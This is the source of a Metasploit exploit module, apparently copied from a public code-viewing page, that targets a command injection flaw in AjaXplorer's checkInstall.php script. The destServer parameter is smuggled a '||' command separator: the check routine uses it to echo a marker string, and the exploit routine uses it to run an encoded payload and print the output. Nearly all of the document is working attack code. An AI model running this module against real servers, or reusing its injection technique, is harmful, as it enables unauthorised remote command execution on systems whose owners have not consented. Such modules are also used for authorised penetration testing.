Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',13'Description' => %q{14This module exploits an arbitrary command execution vulnerability in the15AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to162.6 are vulnerable.17},18'Author' =>19[20'Julien Cayssol', #Credited according to SecurityFocus21'David Maciejak', #Metasploit module22'sinn3r' #Final touch on the Metasploit module23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'OSVDB', '63552' ],28[ 'BID', '39334' ]29],30'Privileged' => false,31'Payload' =>32{33'DisableNops' => true,34'Space' => 512,35'Compat' =>36{37'ConnectionType' => 'find',38'PayloadType' => 'cmd',39'RequiredCmd' => 'generic perl ruby python telnet'40}41},42'Platform' => %w{ bsd linux osx unix win },43'Arch' => ARCH_CMD,44'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],45'DisclosureDate' => '2010-04-04',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])51])52end5354def check55uri = target_uri.path56uri << '/' if uri[-1,1] != '/'57clue = Rex::Text::rand_text_alpha(rand(5) + 5)5859res = send_request_cgi({60'method' => 'GET',61'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),62'vars_get' => {63'destServer' => "||echo #{clue}"64}65})6667# If the server doesn't return the default redirection, probably something is wrong68if res and res.code == 200 and res.body =~ /#{clue}/69return Exploit::CheckCode::Vulnerable70end7172return Exploit::CheckCode::Safe73end7475def exploit76peer = "#{rhost}:#{rport}"77uri = target_uri.path7879# Trigger the command execution bug80res = send_request_cgi({81'method' => 'GET',82'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"),83'vars_get' =>84{85'destServer' => "||#{payload.encoded}"86}87})8889if res90print_status("The server returned: #{res.code} #{res.message}")91m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''9293if m.empty?94print_error("This server may not be vulnerable")95else96print_status("Command output from the server:")97print_line(m)98end99end100end101end102103=begin104Repo:105http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/106=end107108109